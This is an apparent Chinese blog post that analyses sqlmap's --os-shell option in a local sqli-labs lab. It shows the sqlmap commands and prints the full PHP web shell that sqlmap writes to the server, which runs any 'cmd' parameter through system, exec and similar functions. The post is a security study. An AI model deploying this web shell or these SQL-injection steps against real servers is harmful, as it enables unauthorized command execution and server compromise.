sqlmap —— os-shell参数分析
前言:
最近在看sqlmap,发现--os-shell
这个命令很厉害,所以来研究一下。
一、os-shell执行原理
对于 Mysql 数据库来说,--os-shell
的本质就是写入两个 php 文件,其中的一个可以让我们用来执行命令,而另外一个可以让我们可以上传文件。
说到写入文件,就要说一下上传文件的两个前提条件,首先我们要知道网站的绝对路径(我们的文件写入到哪里),然后要有导入导出的权限。
导入导出的权限在 Mysql 数据库中是由 secure_file_priv 参数来控制的,当这个参数后面为 null 时,表示不允许导入导出,如果为具体文件夹时,表示仅允许在这个文件夹下导入导出,如果后面没有值(为空)时,表示可以在任何文件夹下导入导出。
当 Mysql 5.7 版本以上的时候,secure_file_priv 参数的值默认为null,也就是说,如果管理员没有修改过这个参数后面的数值的话,我们没办法在5.7以上版本使用--os-shell
。
二、测试环境:
实验环境是在本机上使用 phpstudy 搭建的 sqli-libs 靶场,并且假设我们已知网站绝对路径。
三、过程演示
1、测试权限
首先,我们先测试是否为dba权限
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --is-dba
可以看到,当前用户拥有dba的权限,接下来就可以使用--os-shell
了。
2、攻击
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --os-shell
3、选择语言
sqlmap默认为ASP,此处根据需求选择。
4、输入绝对路径
选择2选项,输入绝对路径,我这里为:C:/phpStudy/WWW
5、建立 os-shell 并执行命令
成功建立 os-shell 并执行命令!
四、原理分析
原理其实很简单,就是用 into outfile 函数上传了两个php文件,如图
一个是 tmpunszu.php,可以用来上传文件,另一个是 tmpbjpgc.php,这个文件可以用来执行系统命令,并且将结果返回出来。
先来看下 tmpbjpgc.php文件,源码如下:
<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
$z=@ini_get('disable_functions');
if(!empty($z))
{
$z=preg_replace('/[, ]+/',',',$z);
$z=explode(',',$z);
$z=array_map('trim',$z);}
else
{
$z=array();
}
$c=$c." 2>&1\n";
function f($n)
{global $z;
return is_callable($n)and!in_array($n,$z);
}
if(f('system'))
{ob_start();
system($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('proc_open')){
$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
$w=NULL;
while(!feof($t[1])){
$w.=fread($t[1],512);
}
@proc_close($y);
}
elseif(f('shell_exec')){
$w=shell_exec($c);
}
elseif(f('passthru')){
ob_start();
passthru($c);
$w=ob_get_contents();
ob_end_clean();
}elseif(f('popen')){
$x=popen($c,r);
$w=NULL;
if(is_resource($x)){
while(!feof($x)){
$w.=fread($x,512);
}
}
@pclose($x);
}elseif(f('exec')){
$w=array();
exec($c,$w);
$w=join(chr(10),$w).chr(10);
}else{
$w=0;
}
print "</pre>".$w."</pre>";?>'''
上述代码实现了 os-shell 得到命令后如何执行,以及输出执行结果到 os-shell 中。我们可以直接通过该文件在网站URL里面往 cmd 传参,执行系统命令。
我们来访问一下 tmpunszu.php页面
上传一个php探针文件并访问
访问成功。
总结:
通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理,通过往服务器上写入了两个shell文件,实现了执行系统命令和上传脚本文件的功能。🆗,本次分析到此结束。
参考文章:
https://www.cnblogs.com/Xiaoming0/p/13951894.html
https://www.cnblogs.com/lcamry/p/5505110.html
https://www.cnblogs.com/zzjdbk/p/13951047.html
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示